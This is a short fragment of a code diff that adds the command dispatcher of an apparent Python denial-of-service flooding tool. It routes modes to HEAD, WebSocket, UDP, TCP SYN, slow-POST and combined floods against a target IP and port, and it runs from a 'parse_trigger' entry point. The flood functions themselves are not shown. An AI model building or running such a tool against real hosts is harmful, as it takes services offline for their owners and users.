+ head_flood(ip, port, duration, threads) + elif mode == "ws": + ws_flood(ip, port, duration, threads) + elif mode == "udp": + udp_flood(ip, port, duration, threads) + elif mode == "tcp": + tcp_syn_flood(ip, port, duration, threads) + elif mode == "slowpost": + slow_post_flood(ip, port, duration, threads) + elif mode == "combo": + combo_flood(ip, port, duration, threads) + else: + print("Invalid mode.") + +if __name__ == "__main__": + parse_trigger(sys.argv)